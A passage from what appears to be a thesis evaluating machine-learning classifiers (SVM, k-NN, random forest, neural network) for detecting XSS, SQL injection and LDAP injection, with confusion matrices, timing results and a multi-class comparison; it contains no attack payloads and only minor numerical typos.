Table 4.22 demonstrates this classifier’s performance with regard to examples
of real-world attacks. The results are slightly better than those of the linear kernel
classifier since the accuracy rate achieved was 99.82% with a 99.80% precision. The
confusion matrix demonstrates the classifier’s ability to classify benign payloads
with high degree of accuracy. Furthermore, from the confusion matrix it can be
observed that the number of false positives, representing SQL injections which were
classified as benign, was less than that achieved by the SVM with a linear kernel;
nevertheless, the fact that there were some does represent a threat to web application
security.
4.5.3.3 k-Nearest Neighbours Classifier
The k-Nearest Neighbours classifier was evaluated in relation to distinguishing
between SQL injections and benign payloads. The same optimizations as were
used when creating the XSS classifier were applied. A five-fold cross validation
method was used to evaluate the classifier, and table 4.23 presents the five-fold
cross validation results. In addition, Table 4.24 shows the classifier’s performance in
relation to examples of real-world attacks.
Table 4.23 demonstrates that the classifier achieved an average accuracy 99.77%
and an average precision 99.41%. The confusion matrices include both instances
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Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
1st 99.80 99.44 100 99.69 SQL-i 1424 8
Benign 0 2589
SQL-i Benign
2nd 99.85 99.58 100 99.76 SQL-i 1450 6
Benign 0 2565
SQL-i Benign
3rd 99.70 99.23 99.93 99.57 SQL-i 1433 11
Benign 1 2576
SQL-i Benign
4th 99.72 99.38 99.86 99.64 SQL-i 1454 9
Benign 2 2556
SQL-i Benign
5th 99.80 99.44 100 99.69 SQL-i 1432 8
Benign 0 2581
Average 99.77 99.41 99.95 99.67
Table 4.23 SQL-i k-Nearest Neighbours Cross Validation
which were correctly classified and instances which were incorrectly classified. In
addition, the confusion matrices highlights the fact that the number of false positive
instances is greater than that of false negatives. This indicates that the classifier is
able to classify benign instances very well, but its weakness is in the classification of
malicious instances.
Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
99.78 99.39 100 99.65 SQL-i 3595 22
Benign 0 6433
Table 4.24 SQL-i k-Nearest Neighbours Classifier Performance
Table 4.24 presents the results of a holdout evaluation of the k-Nearest Neigh-
bours classifier; this achieved an accuracy rate of 99.78% and a 99.39% precision
rate. The confusion matrix demonstrates the classifier’s ability to classify benign
payloads entirely correctly, but with errors in the classification of the SQL injections.
This represents a potential risk to web applications as the concern is to bar SQL in-
jections, not allowing them to cross into the web application. As long as the number
of false positives instances is non-zero, this indicates that the web application can be
attacked in this way.
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After checking the instances that were incorrectly classified it was found that,
most of these were very short and had very few features for the classifier to work on.
The instances contained mostly digits.
4.5.3.4 Random Forest Classifier
The random forest classifier was applied to the classification of payloads as either
SQL injection or benign payloads. A five-fold cross validation and a holdout process
were used to evaluate the classifier. Table 4.25 presents the result of each fold of the
cross validation. For the holdout evaluation, the entire training dataset was used to
build the classifier and then the entire testing dataset was used to test it. Table 4.26
presents the holdout evaluation results.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
1st 99.77 99.52 99.86 99.72 SQL-i 1477 8
Benign 1 2535
SQL-i Benign
2nd 99.82 99.51 100 99.72 SQL-i 1434 7
Benign 0 2580
SQL-i Benign
3rd 99.90 99.79 99.93 99.88 SQL-i 1453 3
Benign 1 2564
SQL-i Benign
4th 99.82 99.57 99.92 99.77 SQL-i 1409 6
Benign 1 2605
SQL-i Benign
5th 99.82 99.51 100 99.72 SQL-i 1463 5
Benign 3 2550
Average 99.83 99.58 99.94 99.76
Table 4.25 SQL-i Random Forest Cross Validation
Table 4.25 presents the results of the cross-validation evaluation for this classifier.
This details all five folds. The random forest classifier achieved a high average
accuracy of 99.83% and a precision of 99.58%. The confusion matrices give a
breakdown of both the correctly and the incorrectly classified instances, and it should
be noted that the number of false positives is still larger than the number of false
negatives. In terms of security, even with this high accuracy, the web application is
still open to attack.
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Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
99.82 99.50 100 99.72 SQL-i 3599 18
Benign 0 6433
Table 4.26 SQL-i Random Forest Classifier Performance
Table 4.26 demonstrates the classifier’s ability to classify payloads which include
examples of real-world attacks. The classifier demonstrated an accuracy rate of
99.79% and 99.41% precision. The confusion matrix illustrates both the correctly
and the incorrectly classified instances. From this confusion matrix it can be observed
that the number of false positives is high compared to the number of false negatives.
This demonstrates that the classifier was able to recognize benign instances very
well. However, from a security perspective, the presence of false positives indicates
the possibility that SQL injections could be passed to the web application.
4.5.3.5 Neural Network Classifier
The neural network classifier was employed to distinguish between SQL injections
and benign payloads. The classifier was evaluated using a five-fold cross validation
process and the results of the evaluation are presented in Table 4.27. The holdout
method was also used to evaluate the performance of the classifier. The latter
evaluation results are given in Table 4.28.
Table 4.27 presents the results, in terms of averages, of the five-fold cross
validation. Here, the classifier achieved an accuracy rate of 99.81% and a 99.52%
precision. The confusion matrices show that there were both correctly and incorrectly
classified instances. Furthermore, false positives are present; this indicates that SQL
injections may be allowed to pass to the web application.
Table 4.28 presents the results of the holdout evaluation in relation to this clas-
sifier. These results demonstrate the ability of the neural network classifier to
distinguish between SQL injections and benign payloads with an accuracy of 99.82%
and a precision of 99.50%. The confusion matrix provides a breakdown of both the
correctly and the incorrectly classified in stances. It should be noted that the classifier
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Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
1st 99.85 99.58 100 99.76 SQL-i 1441 6
Benign 0 2571
SQL-i Benign
2nd 99.85 99.66 99.93 99.80 SQL-i 1479 5
Benign 1 2535
SQL-i Benign
3rd 99.70 99.23 99.93 99.57 SQL-i 1435 11
Benign 1 2571
SQL-i Benign
4th 99.82 99.58 99.93 99.76 SQL-i 1437 6
Benign 1 2575
SQL-i Benign
5th 99.85 99.57 100 99.77 SQL-i 1409 6
Benign 0 2604
Average 99.81 99.52 99.95 99.73
Table 4.27 SQL-i Neural Network Cross Validation
Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
99.82 99.50 100 99.72 SQL-i 3599 18
Benign 0 6433
Table 4.28 SQL-i Neural Network Classifier Performance
achieved a 100% success rate in terms of classifying benign instances. Moreover,
the number of false positives was small compared to the total number of malicious
instances.
4.5.3.6 Discussion
In this section, a Support Vector Machine (SVM) with a linear kernel, a SVM with
a polynomial kernel, a k-nearest neighbour model, a random forest, and a neural
network classifier were all evaluated using both the five-fold cross validation and the
holdout methods. All the accuracy and precision results across all the classifiers were
greater than 99%, indicating the ability of all these classifiers to distinguish between
SQL injections and benign payloads. Three classifier types, support vector machine,
random forest and neural network achieved the same accuracy and precision results
which are 99.82% and 99.50%; therefore, it is difficult to choose which one of these
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to use as a security layer between the user and the web application server. Therefore,
a cross validation was used to make a comparison between the classifiers by using
a false positive to check the best classifier. When examining the cross validation
results of these classifiers, it was observed that the random forest classifier returned
the fewest false positives, as this means the highest accuracy and precision rates
among other classifiers, as it achieved accuracy 99.83% and precision 99.58%. For
this reason, a random forest classifier should be preferred for use as the protection
layer for web application.
When comparing Komiya et. al. [108] results using SVM and k-NN, which were
the two classifiers shared with this study. It can be observed that this study achieved
better results in terms of accuracy and precision rates. Komiya et. al. study achieved
the best accuracy rate of 99.16% by using SVM, while this study achieved 99.82%.
Komiya et. al. achieved a precision of 98.60%, and this study achieved a precision
rate of 99.50%. This indicates the effectiveness of the features in this study and their
representation as Boolean better than the method used in the Komiya et. al. study.
Misclassifications which led to the existence of false positives were limited to
instances where the payload length was too short (to be classed as malicious), and the
payload contained mostly numbers (digits) and did not contain a sufficient number
of features which would indicate that it was a SQL injection. After examining the
instances manually, they seemed to me to be benign but erroneously labelled by the
software which generated them as malicious. These instances were contained in the
CSIC 2010 test dataset which was auto generated.
A suggestion for increasing the accuracy of classifiers would be to add more
features targeting the detection of SQL injections; these might include features such
as the length (of payload), and the percentage of letters and numbers within the
payload.
4.5.4 LDAP Classifiers
The datasets the construction of which was shown in Section 3.3.3 were used to train
and evaluate the classifiers. A range of classifiers were used to distinguish between
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LDAP injections and benign payloads. These classifiers were trained using the
non-alphanumeric features listed in Table 3.6, in addition to the LDAP alphanumeric
features listed in Table 3.9. These features were the same as those used to distinguish
between SQL injections and benign payloads, as these two types of attacks both
utilise SQL statements in order to manipulate web applications. The number of
features used to train the models was 49. Cross validation and holdout methods were
used to evaluate the classifiers’ performance.
4.5.4.1 Support Vector Machine - Linear Kernel Classifier
A support vector machine classifier with a linear kernel was employed to distinguish
between LDAP injections and benign payloads. A five-fold cross validation was
applied in order to evaluate this classifier, and the results yielded by this are presented
in Table 4.29; and the holdout evaluation results are presented in Table 4.30.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
1st 98.55 98.79 97.61 99.19 LDAP 82 1
Benign 2 123
LDAP Benign
2nd 99.03 100 97.67 100 LDAP 84 0
Benign 2 122
LDAP Benign
3rd 97.59 98.94 95.91 99.09 LDAP 94 1
Benign 4 109
LDAP Benign
4th 99.03 97.72 100 98.369 LDAP 86 2
Benign 0 120
LDAP Benign
5th 99.03 97.77 100 98.33 LDAP 88 2
Benign 1 118
Average 98.65 98.64 98.24 98.99
Table 4.29 LDAP Support Vector Machine-Linear Kernel Cross Validation
Table 4.29 shows the evaluation results yielded by the cross-validation; these
results illustrate the ability of the classifier to distinguish between LDAP injections
and benign payloads with an accuracy up to 98.65% and a precision 98.64%. The
confusion matrices illustrate both the correctly and the incorrectly classified instances.
Moreover, it can be seen that the number of false positives is relatively small and this
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shows the effectiveness of the classifier in terms of differentiating between payloads
and so providing security.
Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
99.75 99.56 99.56 99.83 LDAP 229 1
Benign 1 598
Table 4.30 LDAP Support Vector Machine-Linear Kernel Classifier Performance
Table 4.30 shows the holdout evaluation results which in relation to a simulation
of real world attacks; the classifier achieved a 99.75% accuracy and a 99.56%
precision rate. The confusion matrix shows that misclassifications are very few in
number as there is just one instance of a false positive and one of a false negative.
After examining the instances that were incorrectly classified, it could be seen that
the malicious instance that was classified as benign did not contain any alphanumeric
features relating to a LDAP injection. The benign instance that was classified as
malicious had two words only, along with a multiplication sign, and did not contain
any features indicating an LDAP injection.
4.5.4.2 Support Vector Machine - Polynomial Kernel Classifier
A SVM classifier with a polynomial kernel was created with the task of distin-
guishing between LDAP injections and benign payloads in mind. A five-fold cross
validation was used to evaluate the classifier; Table 4.31 presents the evaluation
results. Moreover, a classifier of the same type was created using the entire training
dataset in order to evaluate the performance of such a classifier using the holdout
method. Table 4.32 presents the results of the classifier performance evaluation.
Table 4.31 presents the evaluation results yielded by the cross validation process.
These results demonstrate that this classifier has the ability to distinguish between
payloads with an accuracy of 99.13% and a precision of 99.16%. The confusion
matrices examine the nature of both the correctly, and the incorrectly, classified
instances. From this confusion matrices it can be observed that there are a few false
positives, though the classifier’s ability to classify benign instances is very strong.
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Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
1st 99.03 100 97.80 100 LDAP 89 0
Benign 2 117
LDAP Benign
2nd 100 100 100 100 LDAP 75 0
Benign 0 133
LDAP Benign
3rd 99.51 100 98.86 100 LDAP 87 0
Benign 1 120
LDAP Benign
4th 98.07 96.90 98.94 97.34 LDAP 94 3
Benign 1 110
LDAP Benign
5th 99.03 98.91 98.91 99.13 LDAP 91 1
Benign 1 115
Average 99.13 99.16 98.90 99.29
Table 4.31 LDAP Support Vector Machine-Polynomial Kernel Cross Validation
Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
99.75 99.56 99.56 99.83 LDAP 229 1
Benign 1 598
Table 4.32 LDAP Support Vector Machine-Polynomial Kernel Classifier Performance
Table 4.32 shows the evaluation of the classifier’s performance with respect to
real world attacks - the holdout evaluation method was used for this purpose. The
classifier achieved a 99.75% accuracy and a 99.56% precision. The confusion matrix
shows the details of the classifications, and it can be noted that the classifier has a
good ability to detect LDAP injections. It can also be observed that the numbers of
false positives and false negatives were the same as were yielded by the linear kernel
classifier. Moreover, the focus is on false positives, and it could be observed that the
instance (of misclassification) did not contain any LDAP related features.
4.5.4.3 k-Nearest Neighbours Classifier
A k-Nearest Neighbours classifier was created in order to be employed to distinguish
between LDAP injections and benign payloads. For the evaluation of the classifier,
the five-fold cross validation method and the holdout method were used. Table 4.33
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presents the cross-validation evaluation results, and Table 4.34 presents the result of
the holdout evaluation.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
1st 98.55 100 96.73 100 LDAP 89 0
Benign 3 116
LDAP Benign
2nd 99.03 97.33 100 98.51 LDAP 73 2
Benign 0 133
LDAP Benign
3rd 98.55 98.85 97.72 99.16 LDAP 86 1
Benign 2 119
LDAP Benign
4th 98.55 97.93 98.95 98.21 LDAP 95 2
Benign 1 110
LDAP Benign
5th 99.03 98.91 98.91 99.13 LDAP 91 1
Benign 1 115
Average 98.75 98.60 98.64 99.00
Table 4.33 LDAP k-Nearest Neighbours Cross Validation
Table 4.33 presents the five-fold cross validation evaluation results in terms
of averages; the classifier achieved an average accuracy of 98.75% and a 98.60%
precision. The confusion matrices detail the classifications; the numbers of false
positives and false negatives were very low. This indicates the effectiveness of this
classifier in terms of detecting LDAP injections.
Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
99.75 99.56 99.56 99.83 LDAP 229 1
Benign 1 598
Table 4.34 LDAP k-Nearest Neighbours Classifier Performance
Table 4.34 presents the results of the evaluation using the holdout method, of
the k-Nearest Neighbours classifier. This demonstrated high efficacy in terms of
detecting LDAP injections at a 99.75% accuracy and a 99.56% precision. The
confusion matrices detail the classifications and show the numbers of correctly, and
incorrectly, classified instances. It should be noted that the numbers of false positives
and false negatives are very low. After examining the instances that were incorrectly
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classified, it was discovered that the one false positive instance did not contain any
of the LDAP related features.
4.5.4.4 Random Forest Classifier
A random forest classifier was created in order that it could then be deployed
to distinguish between LDAP injections and benign payloads. A five-fold cross
validation was used in order to evaluate the classifier, the results of this evaluation
are presented in Table 4.35. Table 4.36 presents the results of the holdout evaluation
of this classifier - here the full training dataset was used to train the classifier and
then the full testing dataset was used to test it.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
1st 98.55 100 96.73 100 LDAP 89 0
Benign 3 116
LDAP Benign
2nd 98.07 96.00 98.63 97.77 LDAP 72 3
Benign 1 132
LDAP Benign
3rd 99.03 98.85 98.85 99.17 LDAP 86 1
Benign 5 120
LDAP Benign
4th 99.03 97.93 100 98.23 LDAP 95 2
Benign 0 111
LDAP Benign
5th 98.55 96.73 100 97.47 LDAP 89 3
Benign 0 116
Average 98.65 97.90 98.84 98.53
Table 4.35 LDAP Random Forest Cross Validation
Table 4.35 presents the result of the five-fold cross validation; in the course
of this, the classifier achieved an average accuracy rate of 98.65%, and a 97.90%
precision. The confusion matrices generated detail the classifications and show
the number of correctly, and incorrectly, classified instances. Furthermore, these
confusion matrices show that the classifier has a good ability to classify LDAP
injections. However, a misclassification was observed which led to the classification
of a malicious instances as benign. This, from a security perspective, represents a
potential risk to web applications.
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Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
99.87 99.56 100 99.83 LDAP 229 1
Benign 0 599
Table 4.36 LDAP Random Forest Classifier Performance
Table 4.36 presents the results of holdout evaluation of the random forest classi-
fier; these are, in summary, that the classifier’s achieved a 99.87% accuracy and a
99.56% precision in terms of its ability to detect LDAP injections.. The confusion
matrix generated shows details the classification statistics. Since only one instance
was misclassified, this indicates that the classifier could indeed be used as a pro-
tection layer for web applications, but there would be a remaining (small) risk of a
successful attack.
4.5.4.5 Neural Network Classifier
A Neural network classifier was created so that it could be deployed in order to
detect LDAP injections. A five-fold cross validation method was used to evaluate
and verify its effectiveness in terms of doing this. Table 4.37 presents the results
of this five-fold cross validation evaluation, and Table 4.38 shows the results of the
additional, holdout, evaluation.
Table 4.37 presents the results of the five-fold cross validation of this classifier.
these show that the classifier achieved an average accuracy of 98.94% and a 98.84%
precision. The confusion matrices detail the nature of the correctly, and incorrectly,
classified instances across each fold. The number of false positives is small compared
to the total number of malicious instances.
Table 4.38 presents the results of the evaluation, using the holdout method, of
the neural network classifier. These results show that the classifier was effective in
detecting LDAP injections with an accuracy rate of 99.63% and a 99.13% precision
rate. The table also presents the confusion matrix that details the nature of the correct
and incorrect classification. It can be seen from the confusion matrix that more false
positives were returned by this classifier than by any of the other classifiers. After
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Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
1st 98.07 98.88 96.73 99.13 LDAP 89 1
Benign 3 115
LDAP Benign
2nd 98.55 98.79 97.61 99.19 LDAP 82 1
Benign 2 123
LDAP Benign
3rd 99.03 97.67 100 98.38 LDAP 84 2
Benign 0 122
LDAP Benign
4th 99.51 98.86 100 99.17 LDAP 87 1
Benign 0 120
LDAP Benign
5th 99.51 100 98.93 100 LDAP 93 0
Benign 1 114
Average 98.94 98.84 98.65 99.17
Table 4.37 LDAP Neural Network Cross Validation
Accuracy Precision Sensitivity Specificity Confusion Matrix
LDAP Benign
99.63 99.13 99.56 99.66 LDAP 228 2
Benign 1 598
Table 4.38 LDAP Neural Network Classifier Performance
examining the malicious instances that were classified as benign, it was noted that
none of these instances exhibited any of the LDAP related features, but false negative
contained a sufficient number of non-alphanumeric features (for it to be considered
as possibly malicious).
4.5.4.6 Discussion
All of the classifiers achieved accuracies and precisions of greater than 99%. It is
possible to consider any of these classifiers for use as a very proficient system for
detecting LDAP injections. Moreover, in all cases, the number of false positives was
low compared to the total number of malicious instances. These statistics makes it
difficult to choose which classifier to recommend for use as a protection layer for
web applications. From observation of the confusion matrices representing the detail
of the performance of the classifiers, it can be seen that the best classification results
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were obtained from the random forest classifiers since these classified all the benign
instances correctly, without any misclassification. All the classifiers returned the
same number of false positives. This, quite possibly, makes it the best choice for
use as a layer of protection for web applications; although some residual risk (of
successful attack) would remain.
Misclassification occurred in the classifiers due to the absence, in the instances,
of LDAP alphanumeric features. This issue could be solved by looking further into
LDAP injections and defining features that would enable classifiers to better detect
attacks. Moreover, the sizes of the training and test datasets used here are small; the
classifiers needed more examples in order to cover more of the possibilities that exist
in terms of the patterns representing potential attacks.
4.6 Classifiers Timing Performance
Timing is important for choosing a classifier as the protection layer for a web
application. For this reason, the timing of classifier performance has been calculated
to perform its work in the input classification. The time taken for the classifications
will be calculated using five experiments run on a device with the specifications
mentioned in Table 4.6. The experiments will be conducted on MatLab and the
average time taken for each classifier is recorded.
The focus of this study is on XSS attacks classification. The results of the timing
of the classifiers are given in Table 4.39, SQL-i and LDAP classifier timing are
included in the table. Timing will be calculated in seconds.
Folds SVM-L/Sec SVM-P/Sec k-NN/Sec RF/Sec NN/Sec
1st 0.3390 0.1458 8.2673 1.3205 0.2120
2nd 0.1642 0.1518 7.9295 1.0540 0.2476
XSS 3rd 0.1602 0.1474 8.3736 1.0596 0.1610
4th 0.1598 0.1559 7.5520 1.0728 0.0837
5th 0.1748 0.1459 8.6270 1.0419 0.1358
Avrage 0.1996 0.1493 8.1498 1.1097 0.1680
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Folds SVM-L/Sec SVM-P/Sec k-NN/Sec RF/Sec NN/Sec
1st 0.0618 0.0056 2.7941 0.5051 0.0658
2nd 0.0065 0.0052 2.4899 0.4419 0.0339
SQL-i 3rd 0.0063 0.0088 2.5804 0.4443 0.0330
4th 0.0057 0.0060 2.4904 0.4426 0.0397
5th 0.0076 0.0047 3.0381 0.4399 0.0340
Avrage 0.0176 0.0061 2.6786 0.4548 0.0413
1st 0.0029 0.0025 0.0387 0.1214 0.1455
2nd 0.0024 0.0011 0.0290 0.1430 0.0298
LDAP 3rd 0.0013 0.0013 0.0170 0.1148 0.0160
4th 0.0014 0.0017 0.0167 0.1266 0.0127
5th 0.0015 0.0013 0.0182 0.1383 0.0154
Avrage 0.0019 0.0015 0.0239 0.1288 0.0439
Table 4.39 Timing of Classifiers Performance
From Table 4.39 can be observed that classifiers have high timing performance,
SVM and NN complete the testing dataset classification in less than one second. The
timing performance rose to 1.11 seconds with the RF classifier. The k-NN classifier
gave the highest time which completed the classification in 8.15 seconds, which
is multiple times as many than other classifiers. SQL-i and LDAP completed the
classification of the testing dataset in a very short time, except for k-NN which took
time to classify the SQL injection. The reason k-NN takes a long time to classify
new instances is because it does not generalise over data in advance, but it scans the
complete training set every time to predict a new instance. Therefore, k-NN takes
time for classification.
4.7 Summary
In this chapter, the construction of the classifiers has been discussed, and an ex-
planation of the parameters that were used for such construction. In addition, the
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evaluation methods that were used to evaluate classifiers were described, as well as
the criteria in relation to which the results were analysed. Furthermore, the initial
results related to the use of the classifiers for detecting XSS attacks, SQL injection,
and LDAP injections were presented, and each type of attack was discussed sep-
arately. These initial results showed that all the classifiers are highly proficient at
detecting attacks against web applications. Moreover, the timing performance was
reviewed for each classifier. These results will be compared with the results of the
experiments described in the coming chapters in order to demonstrate the advantages




Classification of Injection Attacks
5.1 Introduction
In Chapter 4, the performance of the two SVMs, each with a different kernel;
k-nearest neighbor; random forest; and the neural network classifiers were demon-
strated in terms of them being able to distinguish between malicious and benign
instances. Three types of injection attack, i.e., XSS, SQL-i, and LDAP attacks, have
been looked at and high accuracy results have been obtained in relation to detecting
these - individually for each type of attack. In the current chapter, it will be shown
how the same type of classifiers were used to detect injection attacks against web
applications, where these classifiers were also responsible for classifying input into
one type of attack or another, or as a benign instances. Section 5.2 provides the
motivation for creating the multi-class classifiers. Section 5.3 describes the datasets
that were used to train and test the multi-class classifiers. Section 5.4 details the fea-
tures that were used for training the classifiers. Section 5.5 describes the classifiers
used. Section 5.6 shows the performance classification performance of each classifier.
Section 5.7 provides the processing-time performance of each classifier. Section 5.8
discusses these results alongside suggestions for improving the multi-class classifiers’
performance. Section 5.9 Summarizes what has been demonstrated in this chapter.
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5.2 Motivation
Multi-class classifiers were recommended for the task which is focused on here
because these classifiers have achieved high accuracy and precision in the detection
of XSS, SQL-i, and LDAP attacks separately. Hence the idea of using the same
classifiers for classifying all the attacks together. The aim of the investigation is
to ensure that the features that are extracted, as shown in section 3.5, work well in
combination and so enable the classification of all the types of attacks. Furthermore,
to ensure that classifiers rely on non-alphanumeric features as the basis for the
classification of certain types of attack characterized by such features – XSS, SQL-i
and LDAP – such features are specifically included.
5.3 Multi-Class Datasets
The dataset has been created with a specific purpose in mind - the investigation of
the performance of classifiers; hence, the instances in Tables 3.2, 3.3, and 3.4 were
combined with each other to create a dataset containing XSS, SQL-i, LDAP, and
benign instances. This combined dataset contains 26,672 malicious instances and
48,571 benign instances. It was divided into two datasets: one for training and the
other for testing purposes. The training dataset contains 12,825 malicious instances,
including 5,150 XSS attacks and 7,235 SQL-I, and 440 LDAP injections; this is in
addition to 27,442 benign instances. The testing dataset contains 13,847 malicious
instances, including 10,000 XSS attacks and 3,617 SQL-i, and 230 LDAP injections;









For the purposes of training a classifier to recognize injection types, all the features
in Tables 3.6, 3.7, 3.8, and 3.9 were applied in combination; 80 features were used
in the total. The state-of-the-art method is to rely on the non-alphanumeric features,
as described in Section 3.5.1.1, as the basis for classification. This is because these
features are very likely to be involved in attacks against Web applications. They
are likely to be present in XSS scripts, and may be found in combination with
SQL statements and LDAP terms. Special features for each type of attack were
added, including combinations of non-alphanumeric features, and specific keywords
associated with a particular type of attack. Hence, all types of injection attack
features have been included.
5.5 Multi-Class Classifiers
In order to examine the performance of classifiers in relation to the classification
of injection types, the following types of classifier have been used: support vector
machine, one with a linear, and one with a polynomial kernel; k-nearest neighbour,
random forest; and neural network. The same classifier optimizations as described
in Section 4.3 were used without any change in terms of parameters. The reason
for this was to yield a fair comparison between multi-class classifiers and individual
classifiers. All the classifiers will be trained using a training dataset containing 80
features, and then tested, in terms of their performance, using the testing dataset.
5.6 Multi-Class Results
This section exhibits the results as regards the classifiers’ performance in relation to
distinguishing between injection types. The classifiers’ performance were evaluated
in terms of accuracy, precision, sensitivity, and specificity as related to each type of
attack. The confusion matrix obtained details these classification results; note that
the primary interest is in obtaining as few false positives as possible. From a security
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standpoint, instances classified as benign may be the most dangerous in fact. The
results for each classifier are illustrated separately in the discussion below.
5.6.1 Support Vector Machine - Linear Kernel Results
A support vector machine with a linear kernel was trained using the training dataset,
it was then tested using the testing dataset. The same optimizations that were set out
in Chapter 4 have been used here without any changes.
XSS SQL-i LDAP Benign
Confusion Matrix
XSS SQL-i LDAP Benign
Accuracy 99.55 XSS 9976 0 0 24
Precision 99.76 97.65 89.56 99.89 SQL-i 0 3532 2 83
Sensitivity 99.94 99.10 99.03 99.44 LDAP 2 12 206 10
Specificity 99.98 99.72 99.93 99.83 Benign 3 20 0 21105
Table 5.2 SVM-L Multi-Classification Performance
From Table 5.2, it can be seen that the SVM-L achieved an accuracy rate of
99.55% in terms of distinguishing between injection types. There was no improve-
ment in the precision rate relating to XSS only, where the multi-class classifier
achieved a 99.76% precision as compared to the single classifier which achieved
99.89%. Furthermore, there was a decline in terms of all the other evaluation criteria
across all the other injection types. The reason for the increased misclassification
rates is that the SQL statements are similar to LDAP queries, resulting in a poor
differentiation between SQL and LDAP injections. This can be observed from
the confusion matrix where XSS instances are not misclassified as any other in-
jection type whereas with the remaining types of injections some instances were
misclassified as of the other type.
5.6.2 Support Vector Machine - Polynomial Kernel Results
The performance of the support vector machine with a polynomial kernel classifier
was investigated, it was trained using the training dataset, and the same optimizations
were applied as before.
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XSS SQL-i LDAP Benign
Confusion Matrix
XSS SQL-i LDAP Benign
Accuracy 99.31 XSS 9869 0 0 131
Precision 98.96 98.34 96.95 99.80 SQL-i 0 3557 2 58
Sensitivity 99.66 99.63 98.67 99.10 LDAP 1 5 223 1
Specificity 99.86 99.80 99.97 99.70 Benign 32 8 1 21087
Table 5.3 SVM-P Multi-Classification Performance
Table 5.3 shows the results of the SVM-P classifier; this achieved a 99.31%
accuracy rate. The evaluation criteria shows that the performance of this multi-class
classifier does not represent an improvement over that of any of the relevant single-
class classifiers: the precision rate relating to the XSS and SQL-i instances has
decreased; the single-class classifier achieved better results. The single-class XSS
classifier achieved a 99.16% precision compared to the 98.16% precision attained
by the multi-class classifier. From the confusion matrix, it is clear that the number
of instances that were classified as benign when they were not was higher here than
with the support vector machine with a linear kernel. This result is unacceptable
even though the precision rate is higher. Similarly, the single-class SQL-i classifier
achieved a 99.50% precision; this is clearly a great deal better than 98.34% attained
by the multi-class classifier. In terms of LDAP, there was an increase in the precision
rate, achieved by the multi-class classifier. This achieved 99.95% as compared
with the precision rate of 99.56% attained by the single-class classifier. Notably,
the numbers of instances classified as benign examples of SQL-i and LDAP are
lower than were yielded by the previous classifier. It can be observed from the
confusion matrix that a multi-class classifier is able to classify instances well, but
cross-misclassifications in terms of instances of SQL-i and LDAP increase because
of the similarities in their structures.
5.6.3 k-Nearest Neighbour Results
k-Nearest Neighbour classifier has been investigated using the same optimization.
Table 5.4 shows that the accuracy of the multi-class k-NN classifier was at a
rate of 99.62%. Here, it can be observed that the multi-class classifier and the
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XSS SQL-i LDAP Benign
Confusion Matrix
XSS SQL-i LDAP Benign
Accuracy 99.62 XSS 9994 0 0 6
Precision 99.94 99.06 81.30 99.77 SQL-i 0 3583 0 34
Sensitivity 99.56 99.00 100 99.76 LDAP 2 31 187 10
Specificity 99.82 99.89 99.87 99.66 Benign 42 5 0 21081
Table 5.4 k-NN Multi-Classification Performance
single-class XSS classifier achieved the same precision rate of 99.94%, and there
was little decrease in sensitivity between the classifiers. On the other hand, there
was a decrease in the evaluation criteria as measured in relation to all the remaining
injection types. The confusion matrix shows the classifications of the instances. No
XSS or SQL instances were misclassified as another type of injections; however,
LDAP instances were misclassified, and this included misclassifications into all
other types of injections. It can also be seen that the number of XSS and SQL-i
instances that were classified as benign is less than was yielded by either support
vector machine.
5.6.4 Random Forest Results
The random forest classifier was trained using the training dataset, and then its per-
formance was examined using the testing dataset. The same optimization parameters
as were used for this type of classifier before were retained.
XSS SQL-i LDAP Benign
Confusion Matrix
XSS SQL-i LDAP Benign
Accuracy 99.69 XSS 9990 0 0 10
Precision 99.90 99.72 77.39 99.83 SQL-i 0 3607 0 10
Sensitivity 99.89 98.71 99.44 99.77 LDAP 1 24 178 27
Specificity 99.95 99.96 99.85 99.75 Benign 10 23 1 21094
Table 5.5 RF Multi-Classification Performance
Table 5.5 shows the result yielded by the random forest classifier; this achieved
an accuracy rate of 99.69%, which is the best accuracy result obtained here from
any of the multi-class classifiers. The single-class XSS classifier achieved a better
precision rate of 99.96%, as compared to this multi-class classifier which achieved
a rate of 99.90%. In the case of SQL-i, the multi-class classifier, in fact, achieved
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a better result than the single-class classifier, with a precision rate of 99.72%, as
opposed to 99.50% for the single classifier. There is a sharp drop in the precision
rate with respect to LDAP injections; here the multi-class classifier achieved a rate
of only 77.39% as compared to 99.56% for the single-class classifier. The confusion
matrix shows the details of the classification results; it should be noted that, in the
cases of XSS and SQL-i, there is no misclassification of instances (in relation to other
attack types). Quite the opposite is the case with LDAP; its instances are classified
into all types of injections. Note that most of the misclassification occurs between
LDAP and SQL-i because of the similarities between these types of injection. It can
also be observed that a few XSS and SQL-i instances are misclassified as benign.
5.6.5 Neural Network Results
The neural network classifier was used to classify the injection types, it was trained
on the training dataset and then its performance was examined by employing the
testing dataset. The classifier was used without any modifications to its parameters.
XSS SQL-i LDAP Benign
Confusion Matrix
XSS SQL-i LDAP Benign
Accuracy 99.49 XSS 9975 2 2 21
Precision 99.75 99.19 71.73 99.72 SQL-i 5 3588 22 2
Sensitivity 99.50 99.08 80.88 99.73 LDAP 16 16 156 33
Specificity 99.79 999.90 99.81 99.57 Benign 29 15 15 21069
Table 5.6 NN Multi-Classification Performance
Table 5.6 shows the multi-class neural network classifier accuracy, which was
99.49%. The results show a decline across all the evaluation criteria, as compared
with single-class classifiers. The multi-class classifier achieved a precision rate of
99.75% in relation to XSS instances, as compared to 99.86% for the single-class
classifier. The former achieved 99.19% in relation to SQL-i instances, as compared
to 99.50% for the single-class classifier. However, the worst result yielded by
multi-class classification, here, was with respect to LDAP instances; this classifier
achieved a 71.73% precision as compared to 99.13% for the single-class classifier.
